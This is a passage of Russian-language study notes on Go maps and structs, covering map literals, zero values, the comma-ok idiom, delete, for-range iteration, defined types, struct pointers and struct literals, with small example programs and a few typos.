можно воспользоваться оператором сегмента: s[i:j]
- Пакетная переменная os.Args содержит сегмент строк с аргументами командной строки, 
с которыми была запущена текущая программа.
- Чтобы объявить функцию с переменным количеством аргументов, поставьте многоточие (...) 
перед типом последнего параметра в объявлении функции. 
Этому параметру будут присвоены все аргументы переменного набора в виде сегмента.
- При вызове функции с переменным количеством аргументов можно использовать
сегмент вместо переменного набора аргументов, для этого поставьте многоточие после сегмента:
inRange(1, 10, mySlice...)

98. Карты

Сваливать все в одну кучу удобно до тех пор, пока не потребуется что-нибудь найти.
Вы уже видели, как создавать списки значений в массивах и сегментах. 
Вы знаете, как применить одну операцию к каждому значению в массиве или сегменте. 
Но что, если требуется поработать с конкретным значением? 
Чтобы найти его, придется начать с начала массива или сегмента и просмотреть. 
Каждое. Существующее. Значение. 
А если бы существовала разновидность коллекций, в которой каждое значение снабжается специальной меткой? 
Тогда нужное значение можно было бы быстро найти по метке!
Для этого в go есть Карты!


Но хранение имен в сегментах создает одну проблему: для каждой строки файла необходимо просмотреть многие,
а то и все значения в сегменте names для сравнения.
Для небольших участков такое решение подойдет, 
но на большом участке с множеством избирателей такое решение может оказаться слишком медленным!


Хранение данных в сегменте можно сравнить с большой стопкой документов, 
вы сможете достать из стопки конкретный документ, но в худшем случае вам придется перебрать всю стопку до последнего документа.

В Go также существует другой способ хранения коллекций данных: карты. 
Карта представляет собой коллекцию, в которой вы обращаетесь к значениям по ключу.
Ключи обеспечивают простой механизм извлечения данных из карты. 
Такую коллекцию можно сравнить с архивом, в котором документы разложены по аккуратно подписанным папкам.

Если массивы и сегменты могут использовать в качестве индексов только числа, 
то в карте ключом может быть любой тип (при условии, что значения этого типа можно сравнивать оператором ==). 
К этой категории относятся числа, строки и т. д. 
Все значения должны относиться к одному типу, и все ключи тоже должны иметь одинаковый тип, но типы ключей и значений вполне могут быть разными.

Чтобы объявить переменную для хранения карты, 
введите ключевое слово map, за которым следуют квадратные скобки ([]) с типом ключа. 
После квадратных скобок указывается тип значения.
Пример:
var myMap map[string]float64
MyMap - имя карты
map - ключевое слово
string - тип ключа
float64 - тип значения


Как и в случае с сегментами, объявление переменной-карты не приводит к автоматическому созданию карты, 
для этого необходимо вызвать функцию make (ту же, которая используется для создания сегментов). 
Вместо типа сегмента функции make можно передать тип создаваемой карты (он будет совпадать с типом переменной, которой карта будет присвоена).
var ranks map[string]int //Объявление переменной для карты
ranks = make(map[string]int) //Непосредственное создание карты

А может, вам будет проще воспользоваться коротким объявлением переменной:
ranks := make(map[string]int) //Создание карты и объявление переменной для ее хранения.

Синтаксис присваивания значений в карте и их последующей выборки имеет много общего с синтаксисом присваивания и чтения значений в массивах и сегментах. 
Но если массивы и сегменты позволяют использовать в качестве индексов элементов только целые числа, то для ключей карт можно выбрать практически любой тип. 

Примеры:
        fmt.Println("nPrint map numbers:")
        ranks := make(map[string]int)
        ranks["gold"] = 1
        ranks["silver"] = 2
        ranks["bronze"] = 3
        fmt.Println(ranks["bronze"])
        fmt.Println(ranks["gold"])

        fmt.Println("nPrint map letters:")
        elements := make(map[string]string)
        elements["H"] = "Hydrogen"
        elements["Li"] = "Lithium"
        fmt.Println(elements["Li"])
        fmt.Println(elements["H"])

        fmt.Println("nPrint map bool:")
        isPrime := make(map[int]bool)
        isPrime[4] = false
        isPrime[7] = true
        fmt.Println(isPrime[4])
        fmt.Println(isPrime[7])

Литералы - это множественные значения

Литералы карт
Если набор ключей и значений, которыми должна инициализироваться карта, известен заранее, 
то как и в случае с массивами и сегментами, вы можете воспользоваться литералом карты для ее создания. 
Литерал карты начинается с типа карты (в форме map[ТипКлюча]ТипЗначения). 
За ним следуют заключенные в фигурные скобки пары «ключ/значение», которыми должна инициализироваться карта. 
Каждая пара «ключ/значение» состоит из ключа, двоеточия и значения. 
Пары «ключ/значение» разделяются запятыми.
                             Ключ      Ключ.
                             |         |
myMap := map[string]float64{"a": 1.2, "b": 5.6}
                |                 |          |
                Тип карты.        Значение.  Значение.

Пример:
        ranks := map[string]int{"bronze": 3, "silver": 2, "gold": 1}
        fmt.Println(ranks["gold"])
        fmt.Println(ranks["bronze"])
        elements := map[string]string{
                "H":  "Hydrogen",
                "Li": "Lithium",
        }
        fmt.Println(elements["H"])
        fmt.Println(elements["Li"])

Как и в случае с литералами сегментов, с пустыми фигурными скобками будет создана карта, пустая в исходном состоянии.
emptyMap := map[string]float64{}


99. Нулевые значения с картами

Как и в случае с массивами и сегментами, при обращении к ключу карты,
которому не было присвоено значение, вы получите нулевое значение.

numbers := make(map[string]int)
numbers["I've been assigned"] = 12
fmt.Printf("%#vn", numbers["I've been assigned"])
fmt.Printf("%#vn", numbers["I haven't been assigned"])

В зависимости от типа нулевое значение может быть отлично от 0. 
Например, для карт со строковым типом значения нулевым значением будет пустая строка.

words := make(map[string]string)
words["I've been assigned"] = "hi"
fmt.Printf("%#vn", words["I've been assigned"])
fmt.Printf("%#vn", words["I haven't been assigned"])


Как и в случае с массивами и сегментами, нулевые значения упрощают работу со значениями в картах даже в том случае, 
если им еще не было явно присвоено значение.

counters := make(map[string]int)
counters["a"]++
counters["a"]++
counters["c"]++
fmt.Println(counters["a"], counters["b"], counters["c"])

Нулевое значение для карты равно nil
Нулевым значением самой переменной, предназначенной для хранения карты, является nil.
Если объявить переменную для карты, но не присвоить ей значение, она будет содержать nil.
Это означает, что не существует карты, в которую можно было бы добавить новые ключи и значения.
Попытавшись выполнить такую операцию, вы получите ситуацию паники.
Ошибка:
map[int]string(nil)
panic: assignment to entry in nil map
goroutine 1 [running]:
main.main()
        /home/pi/githabmegafolder/c-test/02_lesson_golang/29_maps/07_maps_err_nil.go:8 +0x94
exit status 2


Прежде чем пытаться добавлять ключи и значения, создайте карту функцией make или с помощью литерала карты и присвойте ее переменной.
var myMap map[int]string = make(map[int]string)
myMap[3] = "three"
fmt.Printf("%#vn", myMap)
 

100. Как отличить нулевые значения от присвоенных

Нулевые значения удобны, но иногда из-за них бывает трудно определить, было ли присвоено нулевое значение для заданного ключа.

Пример:
package main
import "fmt"
func status(name string) {
        grades := map[string]float64{"Alma": 0, "Rohit": 86.5}
        grade := grades[name]
        if grade < 60 {
                fmt.Printf("%s is failing!n", name)
        }
        if grade > 60 {
                fmt.Printf("%s grade > 60n", name)
        }
}
func main() {
        status("Alma") //Ключ которому  присвоено 0
        status("Carl") //Не создавали ключ с таким именем
        status("Rohit")
}


Для подобных ситуаций обращение к ключу карты может возвращать второе (логическое) значение. 
Это значение равно true, если возвращаемое значение было реально присвоено в карте, или false, если возвращаемое значение просто представляет нулевое значение по умолчанию. 
Большинство разработчиков Go присваивает это логическое значение переменной с именем ok (потому что это удобное и короткое имя).
Пример:
        counters := map[string]int{"a": 3, "b": 0}
        var value int
        var ok bool
        value, ok = counters["a"]
        fmt.Println(value, ok)
        value, ok = counters["b"]
        fmt.Println(value, ok)
        value, ok = counters["c"]
        fmt.Println(value, ok)

Если вы хотите просто проверить, присутствует значение в карте или нет, то вы можете проигнорировать само значение, присвоив его пустому идентификатору _.
Пример:
        counters := map[string]int{"a": 3, "b": 0}
        var ok bool
        _, ok = counters["b"]
        fmt.Println(ok)
        _, ok = counters["c"]
        fmt.Println(ok)


По второму возвращаемому значению можно решить, следует ли интерпретировать значение, полученное из карты, как присвоенное значение, 
которое просто случайно совпало с нулевым значением этого типа, или же это значение не присваивалось.
Ниже приведена обновленная версия кода, которая перед выводом сообщения о провале проверяет, было ли присвоено значение по заданному ключу:
Пример:
package main
import "fmt"
func status(name string) {
        grades := map[string]float64{"Alma": 0, "Rohit": 86.5}
        grade, ok := grades[name]
        if !ok {
                fmt.Printf("No grade recorded for %s.n", name)
        } else if grade < 60 {
                fmt.Printf("%s is failing!n", name)
        }
}
func main() {
        status("Alma")
        status("Carl")
}


101. Удаление пар "ключ/значение" функцией "delete"

Возможно, после присваивания значения для ключа в какой-то момент вы захотите удалить его из карты. 
Go предоставляет для этой цели встроенную функцию delete. 
Передайте функции delete два аргумента: 
карту, из которой удаляется ключ, и удаляемый ключ. 
Ключ вместе с соответствующим значением удаляется из карты.
В следующем коде мы присваиваем значения для ключей в двух разных картах, а затем снова удаляем их. 
После этого при попытке обращения по этим ключам будет получено нулевое значение (0 для карты ranks, false для карты isPrime). 
Вторичное логическое значение равно false в обоих случаях, что указывает на отсутствие ключа.
Пример:
        var ok bool
        ranks := make(map[string]int)
        var rank int
        ranks["bronze"] = 3
        rank, ok = ranks["bronze"]
        fmt.Printf("rank: %d, ok: %vn", rank, ok)
        delete(ranks, "bronze")
        rank, ok = ranks["bronze"]
        fmt.Printf("rank: %d, ok: %vn", rank, ok)

        isPrime := make(map[int]bool)
        var prime bool
        isPrime[5] = true
        prime, ok = isPrime[5]
        fmt.Printf("prime: %v, ok: %vn", prime, ok)
        delete(isPrime, 5)
        prime, ok = isPrime[5]
        fmt.Printf("prime: %v, ok: %vn", prime, ok)


102. Циклы "for...range" с картами



for key, value := range myMap {
// Блок цикла.
}

Цикл for...range предоставляет простой способ перебора ключей и значений карты. 
Предоставьте переменную для хранения каждого ключа, другую переменную для хранения соответствующего значения — и цикл автоматически переберет все элементы карты.

Пример:
package main
import "fmt"
func main() {
        grades := map[string]float64{"Alma": 74.2, "Rohit": 86.5, "Carl": 59.7}
        for name, grade := range grades {
                fmt.Printf("%s has a grade of %0.1f%%n", name, grade)
        }
}

Если вы хотите перебрать только ключи, опустите переменную для хранения значений:
Пример:
package main
import "fmt"
func main() {
        grades := map[string]float64{"Alma": 74.2, "Rohit": 86.5, "Carl": 59.7}
        for name := range grades {
                fmt.Println(name)
        }
}

А если нужны только значения, укажите для ключей пустой идентификатор _:
Пример:
package main
import "fmt"
func main() {
        grades := map[string]float64{"Alma": 74.2, "Rohit": 86.5, "Carl": 59.7}
        for _, grade := range grades {
                fmt.Println(grade)
        }
}



103. Цикл "for...range" обрабатывает карты в случайном порядке!


Пример:
package main
import "fmt"
func main() {

        box := map[int]string{1: "a", 2: "b", 3: "c"}
        for k, x := range box {
                fmt.Println(k, "==", x)
        }
}
С этим примером связана одна потенциальная проблема. 
Если сохранить приведенный пример в файле и запустить его командой "go run", выясняется, что ключи и значения
карты выводятся в случайном порядке. 
При многократном запуске программы вы будете каждый раз получать новый порядок.

Цикл "for...range" обрабатывает ключи и значения карты в случайном порядке, так как карта является неупорядоченной коллекцией ключей и значений. 
Используя цикл "for...range" с картой, вы никогда не знаете, в каком порядке получите доступ к ее содержимому! 
Иногда это нормально, но если вам требуется более последовательное упорядочение, 
соответствующий код придется написать самостоятельно.
Для этого она использует два разных цикла for. 
Первый цикл перебирает все ключи в карте, игнорируя значения, и добавляет их в сегмент строк. 
Затем сегмент передается функции Strings пакета sort, которая сортирует их на месте в алфавитном порядке.
Пример:
package main
import (
        "fmt"
        "sort"
)
func main() {
        grades := map[string]float64{"Alma": 74.2, "Rohit": 86.5, "Carl": 59.7}
        var names []string
        for name := range grades {
                names = append(names, name)
        }

        sort.Strings(names)
        for _, name := range names {
                fmt.Printf("%s has a grade of %0.1f%%n", name, grades[name])
        }

}

104. Подведем итоги.

Карты 
Карты представляет собой коллекцию, в которой каждое значение хранится с соответствующим ключом.
Если массивы и сегменты могут использовать в качестве индексов только целые числа, для ключей карты может использовать(почти) любой тип.
Все ключи карты должны относится к одному типу и все значения тоже должны относится к одному типу, но тип ключей не обязан совпадать с типом значений.

Ключевые моменты:
- При объявлении переменной для карты необходимо указать типы ключей и значений:
var myMap map[string]int
- Чтобы создать новую карту, вызовите функцию make с типом карты:
myMap = make(map[string]int)
- Чтобы присвоить значение в карте, укажите ключ, по которому присваивается значение, в квадратных скобках:
myMap["my key"] = 12
- Чтобы прочитать значение из карты, также следует указать ключ:
fmt.Println(myMap["my key"])
- Инициализацию карты можно совместить с ее созданием при помощи литерала карты:
map[string]int{"a": 2, "b": 3}
- Как и в случае с массивами и сегментами, при обращении к ключу карты, для которого не было присвоено
значение, вы получите нулевое значение.
- При получении значения от карты может возвращаться второе необязательное логическое значение, которое
указывает, было ли это значение присвоено или же представляет нулевое значение по умолчанию:
value, ok := myMap["c"]
- Если вы хотите только проверить, связано ли с ключом значение, проигнорируйте значение с использованием пустого идентификатора _:
_, ok := myMap["c"]
- Чтобы удалить ключи и соответствующие значения из карты, используйте встроенную функцию delete:
delete(myMap, "b")
- Циклы "for...range" могут использоваться с картами по аналогии с тем, как они используются с массивами или сегментами. 
Вы предоставляете только одну переменную, которой будет последовательно присваиваться каждый ключ, и вторую переменную, 
которой будет последовательно присваиваться каждое значение.
for key, value := range myMap {
fmt.Println(key, value)
}

105. Структуры

Если вам нужно хранить смешанные значения разных типов, то массивы, сегменты и карты не подойдут. 
Их можно настроить только для хранения значений одного типа.
Однако в Go существует способ решения этой проблемы...

Иногда требуется хранить вместе несколько типов данных.
Сначала вы познакомились с сегментами, предназначенными для хранения списков.
Затем были рассмотрены карты, связывающие список ключей со списком значений.
Но обе структуры данных позволяют хранить значения только одного типа, а в некоторых ситуациях требуется сгруппировать значения нескольких типов. 
Например, в почтовых адресах названия улиц (строки) группируются с почтовыми индексами (целые числа). 
Или в информации о студентах имена (строки) объединяются со средними оценками (вещественные числа). 
Сегменты и карты не позволяют смешивать разные типы. Тем не менее это возможно при использовании другого типа данных, называемого структурой. 


И тогда мы решили просто соединить типы string, int и bool!
И это отлично сработало!
Передавать все эти значения гораздо удобнее, когда они являются частью одной структуры!

106. Структуры формируются из значений МНОГИХ типов

Структура представляет собой значение, которое строится из других значений разных типов. 
Если в сегменте могут храниться только строковые значения, а в карте — только целочисленные значения, 
вы можете создать структуру для хранения строковых значений, значений int, float64, bool и т. д. — и все это в одной удобной группе.

Тип структуры объявляется ключевым словом struct, за которым следуют фигурные скобки. 
В фигурных скобках определяются одно или несколько полей: значений, группируемых в структуре. 
Определение каждого поля размещается в отдельной строке и состоит из имени поля, 
за ним следует тип значения, которое будет храниться в этом поле.


struct {
 field1 string
 field2 int
}
 
Тип структуры может использоваться в качестве типа объявляемой переменной. 
В этом коде объявляется переменная с именем myStruct для хранения структуры с полем number типа
float64, полем word типа string и полем toggle типа bool:

Пример:
package main
import "fmt"
func main() {
        var myStruct struct { // Объявление переменной с именем "myStruct".
//Переменная «myStruct» может хранить структуры, состоящие из поля float64 с именем «number», поля string с именем «word» и поля bool с именем «toggle».
                number float64
                world  string
                toggle bool
        }
        fmt.Printf("%#vn", myStruct)
}

!!! Не беспокойтесь о количестве пробелов между именами и типами полей структур.
Когда вы записываете поля структуры, поставьте один пробел между именем поля и его типом.
Когда вы выполните команду "go fmt" для своего файла (а это следует делать всегда), 
команда вставит дополнительные пробелы, чтобы все типы были выровнены по вертикали.
Выравнивание всего лишь упрощает чтение кода:
его смысл при этом совершенно не изменяется!
Пример:
var aStruct struct {
     shortName   int
     longerName  gloat64
     longestName string
}

107. Обращения к полям структуры

Теперь вы знаете, как определяются структуры.
Но чтобы использовать структуру в программе, необходимо каким-то образом сохранять новые значения в полях структуры и после этого читать их.
До настоящего момента мы использовали оператор "точка" для обозначения функций, принадлежащих другому пакету, или методов,
принадлежащих некоторому значению:

fmt.Println("hi") 
   |
   точка //Вызов функции, принадлежащей пакету "fmt"


var myTime time.Time
myTime.Year()
      |
      точка // Вызов метода, принадлежащего значению "Time"  

Аналогичным образом оператор "точка" может использоваться для обозначения полей, принадлежащих структуре.
Этот синтаксис подходит как для присваивания значений, так и для их чтения.

Значение-структура.    
      |    Имя поля
      |    |
myScruct.number = 3.14
fmt.Println(myStruct.number)
               |      |
               |      Имя поля
               Значение-структура


Теперь мы можем воспользоваться оператором «точка» для присваивания значений всем полям myStruct и их последующего вывода:
package main
import "fmt"
func main() {
        var myStruct struct {
                number float64
                word string
                toggle bool
        }
        myStruct.number = 3.14
        myStruct.word = "pie"
        myStruct.toggle = true
        fmt.Println(myStruct.number)
        fmt.Println(myStruct.word)
        fmt.Println(myStruct.toggle)
}


Хранение данных подписчиков в структуре
Итак, вы знаете, как объявить переменную для хранения структуры и как присваивать значения ее полям. 
Теперь мы можем создать структуру для хранения данных подписчиков журнала.
Начнем с определения переменной с именем subscriber. 
Эта переменная будет иметь структурный тип с полями name (string), rate (float64) и active (bool).
После объявления переменной и ее типа к полям структуры можно обращаться при помощи оператора «точка». 
Каждому полю присваивается значение соответствующего типа, после чего программа выводит значения.

        var subscriber struct {
                name   string
                rate   float64
                active bool
        }

        subscriber.name = "Aman Singh"
        subscriber.rate = 4.99
        subscriber.active = true
        fmt.Println("Name:", subscriber.name)
        fmt.Println("Monthly rate:", subscriber.rate)
        fmt.Println("Active?", subscriber.active)


Хотя данные подписчиков состоят из значений нескольких типов, структуры позволяют объединить их в одном удобном пакете!

108. Определения типов и структуры


Определения типов позволяют создавать собственные типы. 
Они создают новый определяемый тип на основе базового типа.
И хотя в качестве базового может использоваться любой тип (например, float64, string или даже сегменты или карты), в этой главе мы сосредоточимся на использовании структурных типов как базовых. 
Другие базовые типы будут использоваться после того, как мы поближе познакомимся с определениями типов в следующей главе.

 Ключевое слово «type».
 |      Имя определяемого типа. 
 |      |
type myType struct {
// поля        |
}              |
               Базовый тип.

Чтобы написать определение типа, используйте ключевое слово type, за которым следует имя нового определяемого типа и имя базового типа, на основе которого он должен создаваться. 
Если в качестве базового используется тип структуры, укажите ключевое слово struct со списком определений полей, 
заключенным в фигурные скобки — по аналогии с тем, как это делалось при объявлении переменных для структур.

Определения типов, как и переменные, могут записываться внутри функций. 
Но в этом случае область видимости определения ограничивается блоком этой функции, 
что означает, что его нельзя будет использовать за пределами функции. 
По этой причине типы обычно определяются вне любых функций, на уровне пакета.
Простой пример: в приведенном ниже коде определяются два типа — part и car. 
Каждый определяемый тип использует структуру в качестве базового типа.
Затем в функции main объявляется переменная porsche типа car и переменная bolts типа part. 
Переписывать длинные определения структур при объявлении переменных не нужно; 
мы просто используем имена определяемых типов.

package main
import "fmt"
type part struct {
        description string
        count       int
}
type car struct {
        name     string
        topSpeed float64
}
func main() {
        var porsche car
        porsche.name = "Porsche 911 R"
        porsche.topSpeed = 323
        fmt.Println("Name:", porsche.name)
        fmt.Println("Top speed:", porsche.topSpeed)
        var bolts part
        bolts.description = "Hex bolts"
        bolts.count = 24
        fmt.Println("Description:", bolts.description)
        fmt.Println("Count:", bolts.count)
}

После того как переменные будут объявлены, мы можем присваивать значения полям их структур и читать их, как это делалось в предыдущих программах.
Ранее для того, чтобы создать несколько переменных для хранения данных подписчиков в структурах, 
нам приходилось полностью записывать тип структуры (включая все ее поля) для каждой переменной.

var subscriber1 struct { //Определение типа структуры.
name string
rate float64
active bool
}
// ...
var subscriber2 struct { //Определение идентичного типа.
name string
rate float64
active bool
}
// ...


Но теперь мы можем определить тип subscriber на уровне пакета. 
Тип структуры записывается только один раз, как базовый тип для определяемого типа. 
Когда дойдет до объявления переменных, тип структуры не нужно будет записывать снова, достаточно указать subscriber в качестве типа. 
Повторять все определение структуры уже не нужно!
package main
import "fmt"
type subscriber struct { //Определение типа с именем "subscriber".
                         //Тип структуры используется для переменных как базовый для определения типа.
        name   string
        rate   float64
        active bool
}
func main() { //Объявление переменной типа "subscriber".
        var subscriber1 subscriber
        subscriber1.name = "Aman Singh"
        fmt.Println("Name:", subscriber1.name)
        var subscriber2 subscriber //Тип "subscriber" также использу-ется для второй переменной.
        subscriber2.name = "Beth Ryan"
        fmt.Println("Name:", subscriber2.name)
}



Возможности определяемых типов не ограничиваются типами переменных. 
Определяемые типы также могут использоваться для параметров функций и возвращаемых значений.
Ниже снова приведен тип part с функцией showInfo, которая выводит поля part. 
Функция получает один параметр с типом part. 
Внутри showInfo мы обращаемся к полям переменной-параметра точно так же, как к полям любой другой структурной переменной.

package main
import "fmt"
type part struct {
        description string
        count       int
}
func showInfo(p part) { //Объявление одного параметра с типом «part».
        fmt.Println("Description:", p.description)
        fmt.Println("Count:", p.count)
}
func main() {
        var bolts part //Создается значение «part».
        bolts.description = "Hex bolts"
        bolts.count = 24
        showInfo(bolts) //Тип «part» пере-дается функции
}


А здесь функция minimumOrder создает значение part с заданным описанием description и заранее определенным значением поля count. 
Тип part также объявляется возвращаемым типом minimumOrder, чтобы функция могла вернуть созданную структуру.


package main
import "fmt"
// Директивы package и imports, определения типов пропущены
type part struct {
        description string
        count       int
}
func minimumOrder(description string) part { //Объявляется одно возвращаемое значение типа «part».
        var p part //Создание нового значения «part».
        p.description = description
        p.count = 100
        return p //Функция возвращает тип «part».
}
func main() {
        p := minimumOrder("Hex bolts") //Вызывает minimumOrder. Для сохранения возвращаемого значения «part» использу-ется короткое определение переменной.
        fmt.Println(p.description, p.count)
}


Рассмотрим пару функций, которые работают с типом subscriber.
Функция printInfo получает значение subscriber в параметре и выводит значения полей структуры.
Также имеется функция defaultSubscriber, которая создает новую структуру subscriber и заполняет ее значениями по умолчанию. 
Функция получает строковый параметр с именем name и использует его для инициализации поля name нового значения subscriber. 
Затем она заполняет поля rate и active значениями по умолчанию. 
Наконец, функция возвращает заполненную структуру subscriber на сторону вызова.

package main
import "fmt"
type subscriber struct {
        name   string
        rate   float64
        active bool
}
//Объявляется один параметр
//с типом «subscriber».
func printInfo(s subscriber) {
        fmt.Println("Name:", s.name)
        fmt.Println("Monthly rate:", s.rate)
        fmt.Println("Active?", s.active)
}
func defaultSubscriber(name string) subscriber { //Возвращает значение «subscriber».
        var s subscriber //Создается новое значение «subscriber».
        s.name = name
        s.rate = 5.99
        s.active = true
        return s //Возвращает «subscriber».
}
func main() {
        subscriber1 := defaultSubscriber("Aman Singh") //Создает subscriber с задан-ным значением name.
        subscriber1.rate = 4.99                        //Использует заданное значение rate.
        printInfo(subscriber1)                         //Вывод значений полей
        subscriber2 := defaultSubscriber("Beth Ryan") //Создает subscriber с задан-ным значением name.
        printInfo(subscriber2)                        //Вывод значений полей.
}


В функции main имя подписчика передается defaultSubscriber для получения новой структуры subscriber. 
Один подписчик пользуется льготной ставкой оплаты, поэтому это поле структуры заполняется напрямую. 
Заполненные структуры subscriber передаются printInfo для вывода их содержимого.

109. Изменение структуры в функции

Наши друзья в Gopher Fancy попробовали написать функцию, которая получает структуру в параметре и обновляет одно из полей этой структуры.

package main
import "fmt"
type subscriber struct {
        name   string
        rate   float64
        active bool
}
func applyDiscount(s subscriber) {
        s.rate = 4.99 //Получает параметр «subscriber».
}
func main() {
        var s subscriber
        applyDiscount(s)    //Пытается присвоить полю «rate» структуры «subscriber» значение 4.99
        fmt.Println(s.rate) //Поле остается равным 0!
}

Помните, как мы пытались написать функцию double, которая получает число и удваивает его? 
После возвращения из функции число снова возвращалось к исходному значению!
Тогда мы упомянули о том, что в Go используется «передача по значению»
это означает, что параметры функций получают копию аргументов, с которыми вызывалась функция. 
Если функция изменяет значение параметра, то изменится копия, а не оригинал.

110. Использование указателей в структуре:


Используя указатели, вы также можете добиться того, чтобы функция обновляла передаваемую структуру.

Пример функции:
package main
import "fmt"
type subscriber struct {
        name   string
        rate   float64
        active bool
}
func applyDiscount(s *subscriber) { // Получает указатель на структуру, а не саму структуру.
        s.rate = 4.99 //Обновляет поле структуры.
}
func main() {
        var s subscriber
        applyDiscount(&s) //Передается указатель, а не структура.
        fmt.Println(s.rate)
}

Ниже приведена обновленная версия функции applyDiscount, которая должна работать правильно. 
Мы обновляем параметр s, чтобы он содержал указатель на структуру subscriber вместо самой структуры. 
После этого обновляется значение в поле rate структуры.

В main функция applyDiscount вызывается с передачей указателя на структуру subscriber.
А при выводе значения в поле rate структуры становится видно, что оно было успешно обновлено!


111. Обращение к полям структур по указателю


При попытке вывести переменную, содержащую указатель, вы увидите адрес памяти, на который эта переменная указывает. 
Как правило, это совсем не то, что вам нужно.
Пример:
package main
import "fmt"
func main() {
        var value int = 2         // Создаем значение.
        var pointer *int = &value // Получаем указатель на это значение.
        fmt.Println(pointer)      // Сюрприз! ВЫводится указатель, а не значение!
}

Для получения значения, на которое ссылается указатель, следует воспользоваться оператором *.
Пример:
package main
import "fmt"
func main() {
        var value int = 2
        var pointer *int = &value
        fmt.Println(*pointer) // Выводим значение, на которое ссылается указатель.
}

Казалось бы, оператор * также следует использовать и с указателями на структуры. 
Но если вы просто поставите * перед указателем на структуру, такое решение работать не будет:
Пример:
package main
import "fmt"
type myStruct struct {
        myField int
}
func main() {
        var value myStruct //Создание значения структуры.
        value.myField = 3
        var pointer *myStruct = &value //Получает указатель на значение структуры.
        fmt.Println(*pointer.myField)  //Пытаемся получить значение структуры, на которое ссылается указатель.
}

//Ошибка
# command-line-arguments
./18_struct_pointer_bad.go:13:14: invalid indirect of pointer.myField (type int)


Но если вы используете запись *pointer.myField, Go посчитает, что поле myField должно содержать указатель. 
В действительности это не так, поэтому происходит ошибка. Чтобы это решение заработало, необходимо заключить *pointer в круглые скобки. 
Тогда вы сначала получите значение myStruct, после чего сможете обратиться к полю структуры.
Пример:
package main
import "fmt"
type myStruct struct {
        myField int
}
func main() {
        var value myStruct
        value.myField = 3
        var pointer *myStruct = &value
        fmt.Println((*pointer).myField) //Получаем значения структуры по указателю, а затем обращаемся к полю структуры.
}


112. Обращение к полям структур по указателю

При попытке вывести переменную, содержащую указатель, вы увидите адрес памяти, на который эта переменная указывает.
Как правило, это совсем не то, что вам нужно.
Пример:
package main
import "fmt"
func main() {
        var value int = 2         //Создает значение
        var pointer *int = &value //Получает указатель на это значение.
        fmt.Println(pointer)      //Сюрприз! Выводится указатель, а не значение!
}
#Вывод
0x400011c010

Для получения значения, на которое ссылается указатель, следует воспользоваться оператором *.
Пример:
package main
import "fmt"
func main() {
        var value int = 2
        var pointer *int = &value
        fmt.Println(*pointer)
}


Казалось бы, оператор * также следует использовать и с указателями на структуры. 
Но если вы просто поставите * перед указателем на структуру, такое решение работать не будет:
Пример:
package main
import "fmt"
type myStruct struct {
        myField int
}
func main() {
        var value myStruct //Создание значения структуры.
        value.myField = 3
        var pointer *myStruct = &value
        fmt.Println(*pointer.myField)
}
Ошибка:
# command-line-arguments
./25_struct_pointer.go:13:14: invalid indirect of pointer.myField (type int)


Но если вы используете запись *pointer.myField, Go посчитает, что поле myField должно содержать указатель. 
В действительности это не так, поэтому происходит ошибка. 
Чтобы это решение заработало, необходимо заключить *pointer в круглые скобки. 
Тогда вы сначала получите значение myStruct, после чего сможете обратиться к полю структуры.
Пример:
package main
import "fmt"
type myStruct struct {
        myField int
}
func main() {
        var value myStruct
        value.myField = 3
        var pointer *myStruct = &value
        fmt.Println((*pointer).myField) //Получаем значения структуры по указателю, а затем обраща-емся к полю структуры.
}


Но каждый раз вводить конструкцию (*pointer).myField быстро надоест. 
По этой причине оператор «точка» позволяет обращаться к полям по указателям на структуры точно так же, как вы обращаетесь к полям напрямую по значениям структур. 
Круглые скобки и оператор * не обязательны.

Этот способ также работает для присваивания значений полям структур по указателю:
package main
import "fmt"
type myStruct struct {
        myField int
}
func main() {
        var value myStruct
        var pointer *myStruct = &value
        pointer.myField = 9
        fmt.Println(pointer.myField)
}

Вот так функция applyDiscount может обновлять поле структуры без помощи оператора *. 
Происходит присваивание полю структуры по указателю.

package main
import "fmt"
type subscriber struct {
        name   string
        rate   float64
        active bool
}
func applyDiscount(s *subscriber) {
        s.rate = 4.99
}
func main() {
        var s subscriber
        applyDiscount(&s)
        fmt.Println(s.rate)
}

113. Экспорт полей структур

Чтобы имена полей структур экспортировались из своих пакетов, они тоже должны записываться с буквы верхнего регистра.
Пример:

magazine.go
package magazine
type Subscriber struct {
         Name string  //Верхний регистр.
         Rate float64 //Верхний регистр.
         Active bool  //Верхний регистр.
}

main.go

package main
import (
"fmt"
"package/magazine"
)
func main() {
        var s magazine.Subscriber
        s.Rate = 4.99 //Верхний регистр
        fmt.Println(s.Rate) //Верхний регистр.
}

114. Литералы структур

Код определения структуры и последующего присваивания значений ее полям быстро надоедает:
var subscriber magazine.Subscriber 
subscriber.Name = "Aman Singh" 
subscriber.Rate = 4.99 
subscriber.Active = true

Как и в случае с сегментами и картами, Go предоставляет литералы структур для создания структур одновременно с инициализацией их полей.

Синтаксис имеет много общего с литералами карт. Сначала указывается тип, за ним идут фигурные скобки.
В фигурных скобках можно задать значения полей структуры (всех или некоторых); 
для каждого поля указывается имя, двоеточие и значение. 
Если вы указываете несколько полей, разделите их запятыми.

          Тип структуры.
          |    Поле.            Поле.
          |    |                |
myCar := car{name: "Corvette", topSpeed: 337}
                       |                  |
                       |                  Значение.
                       |
                       Значение.


Выше был приведен код, который создает структуру Subscriber и заполняет ее отдельные поля. 
Этот код делает то же самое, что и следующий литерал структуры, состоящий всего из одной строки:
            Короткое объявление переменной.
            |             Литерал для структуры Subscriber.
            |             |                   Значение поля Name.
            |             |                   |              Значение поля Rate
            |             |                   |              |
subscriber := magazine.Subscriber{Name: "Aman Singh", Rate: 4.99, Active: true} 
fmt.Println("Name:", subscriber.Name)                                       |
fmt.Println("Rate:", subscriber.Rate)                                       Значение поля Active.
fmt.Println("Active:", subscriber.Active)

Возможно, вы заметили, что в этой главе нам в основном приходилось использовать длинные объявления для переменных структур (если только структура не возвращалась функцией). 
Литералы структур позволяют использовать короткие объявления переменных для только что созданных структур.

Некоторые (и даже все) поля не нужно указывать в фигурных скобках. 
Пропущенные поля инициализируются нулевыми значениями для своих типов.

Некоторые (и даже все) поля не нужно указывать в фигурных скобках. 
Пропущенные поля инициализируются нулевыми значениями для своих типов.
                                          Поля Name и Active пропущены.
                                          |
subscriber := magazine.Subscriber{Rate: 4.99} 
fmt.Println("Name:", subscriber.Name) 
fmt.Println("Rate:", subscriber.Rate) 
fmt.Println("Active:", subscriber.Active)

115. Промежуточные итоги:

Массивы.
Сегменты.
Карты.

Структуры.
Структура — значение, которое образуется группировкой других значений разных типов.
Отдельные значения, образующие структуру, называются полями.
У каждого поля есть имя и тип.

Определяемые типы.
